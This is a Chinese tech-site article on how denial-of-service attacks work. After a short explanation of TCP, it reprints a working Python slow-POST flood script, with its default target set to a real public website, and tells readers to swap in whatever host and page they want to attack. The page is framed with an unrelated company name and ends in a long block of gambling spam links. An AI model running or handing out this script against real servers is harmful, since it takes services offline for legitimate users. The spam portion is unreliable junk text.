衡阳派盒市场营销有限公司

您好,歡迎來電子發燒友網! ,新用戶?[免費注冊]

您的位置:電子發燒友網>電子百科>網絡>安防及入侵檢測>

dos攻擊原理及攻擊實例

2018年01月17日 15:33 網絡整理 作者: 用戶評論(0

DoS是Denial of Service的簡稱,即拒絕服務,造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網絡無法提供正常的服務。最常見的DoS攻擊有計算機網絡帶寬攻擊和連通性攻擊。

DoS攻擊是指故意的攻擊網絡協議實現的缺陷或直接通過野蠻手段殘忍地耗盡被攻擊對象的資源,目的是讓目標計算機或網絡無法提供正常的服務或資源訪問,使目標系統服務系統停止響應甚至崩潰,而在此攻擊中并不包括侵入目標服務器或目標網絡設備。這些服務資源包括網絡帶寬,文件系統空間容量,開放的進程或者允許的連接。這種攻擊會導致資源的匱乏,無論計算機的處理速度多快、內存容量多大、網絡帶寬的速度多快都無法避免這種攻擊帶來的后果。

已經有很多介紹DOS(Denial of Service,即拒絕服務)攻擊的文章,但是,多數人還是不知道DOS到底是什么,它到底是怎么實現的。本文主要介紹DOS的機理和常見的實施方法。因前段時間仔細了解了TCP/IP協議以及RFC文檔,有點心得。同時,文中有部分內容參考了Shaft的文章翻譯而得。要想了解DOS攻擊得實現機理,必須對TCP有一定的了解。

1、什么是DOS攻擊

DOS:即Denial Of Service,拒絕服務的縮寫,可不能認為是微軟的dos操作系統了。好象在5·1的時候鬧過這樣的笑話。拒絕服務,就相當于必勝客在客滿的時候不再讓人進去一樣,呵呵,你想吃餡餅,就必須在門口等吧。DOS攻擊即讓目標機器停止提供服務或資源訪問。

2、有關TCP協議的東西

TCP(transmission control protocol,傳輸控制協議),是用來在不可靠的因特網上提供可靠的、端到端的字節流通訊協議,在RFC793中有正式定義,還有一些解決錯誤的東西在RFC 1122中有記錄,RFC 1323則有TCP的功能擴展。我們常見到的TCP/IP協議中,IP層不保證將數據報正確傳送到目的地,TCP則從本地機器接受用戶的數據流,將其分成不超過64K字節的數據片段,將每個數據片段作為單獨的IP數據包發送出去,最后在目的地機器中再組合成完整的字節流,TCP協議必須保證可靠性。

發送和接收方的TCP傳輸以數據段的形式交換數據,一個數據段包括一個固定的20字節,加上可選部分,后面再跟上數據,TCP協議從發送方傳送一個數據段的時候,還要啟動計時器,當數據段到達目的地后,接收方還要發送回一個數據段,其中有一個確認序號,它等于希望收到的下一個數據段的順序號,如果計時器在確認信息到達前超時了,發送方會重新發送這個數據段。

上面,我們總體上了解一點TCP協議,重要的是要熟悉TCP的數據頭(header)。因為數據流的傳輸最重要的就是header里面的東西,至于發送的數據,只是header附帶上的。客戶端和服務端的服務響應就是同header里面的數據相關,兩端的信息交流和交換是根據header中的內容實施的,因此,要實現DOS,就必須對header中的內容非常熟悉。

dos攻擊原理及攻擊實例

dos攻擊原理:DoS攻擊就是利用合理的服務請求來占用過多的服務資源,從而使合法用戶無法得到服務的響應。(百度百科說的,大概就是這么個意思)。

dos攻擊與ddos攻擊的區別就是,它是一對一的攻擊,而ddos是分布式的攻擊,作為入門,作為菜鳥,我們他媽哪里有那么多肉雞給你用。。。所以不過對付一些帶寬小,內存低,cpu渣的小型web服務器還是ok的。

現在,廢話不多說,本地搭建一個web站點測試一下。

測試地址:http://192.168.1.110/cloudmanage/admin.php#(本地的)

測試腳本:網上一堆。給大家轉載一個,如下:

#!/usr/bin/env python

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST=“www.baidu.com”

PAGE=“/index.php”

#---------------------------

buf=(“POST %s HTTP/1.1\r\n”

“Host: %s\r\n”

“Content-Length: 10000000\r\n”

“Cookie: dklkt_dos_test\r\n”

“\r\n” % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf)

print “Send buf OK!,conn=%d\n”%i

socks.append(s)

except Exception,ex:

print “Could not connect to server or send error:%s”%ex

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send(“f”)

#print “send OK!”

except Exception,ex:

print “Send Exception:%s\n”%ex

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

腳本來源是:http://blog.csdn.net/jeepxiaozi/article/details/8799684

以上是一個python腳本。

HOST=“www.baidu.com”

PAGE=“/index.php”

我們要改的是這兩處地方

改為:

HOST=“192.168.1.110”//你要擼的主機ip地址/域名

PAGE=“/cloudmanage/admin.php”//你要擼的頁面

cmd命令行下執行腳本

非常好我支持^.^

(2545) 82.8%

不好我反對

(527) 17.2%

( 發表人:龔婷 )

      發表評論

      用戶評論
      評價:好評中評差評

      發表評論,獲取積分! 請遵守相關規定!

      ?
      皇室百家乐官网的玩法技巧和规则 | 基础百家乐官网博牌| 大发888扑克下载| 罗盘24山作用| 东辽县| 百家乐的最佳玩| 大发888娱乐软件| 皇冠百家乐官网的玩法技巧和规则| 大赢家| 百家乐api| 百家乐官网路珠多少钱| 明溪百家乐的玩法技巧和规则| 足球百家乐官网投注计算| 大发888贴吧| 百家乐现金网平台排名| 网上百家乐官网如何作假| 全讯网新2代理| 做生意风水问题| 百家乐官网游戏排行榜| 大发888 58| 太阳城百家乐口诀| 百家乐官网翻天粤语qvod| 金利娱乐城代理| 欢乐谷百家乐的玩法技巧和规则| 金海岸百家乐官网的玩法技巧和规则 | 江油市| 迷你百家乐官网的玩法技巧和规则| 岳普湖县| 北京太阳城医院| 百家乐太阳城娱乐城| 网上百家乐官网游戏下载| 必博备用网址| 威尼斯人娱乐城赌博网| 最好的百家乐论坛| 百家乐官网赢家电子书| 万豪国际娱乐| 威尼斯人娱乐城信誉怎么样| 百家乐概率怎么算| 百家乐官网概率下注法| 六合彩图库大全| 威尼斯人娱乐城简介|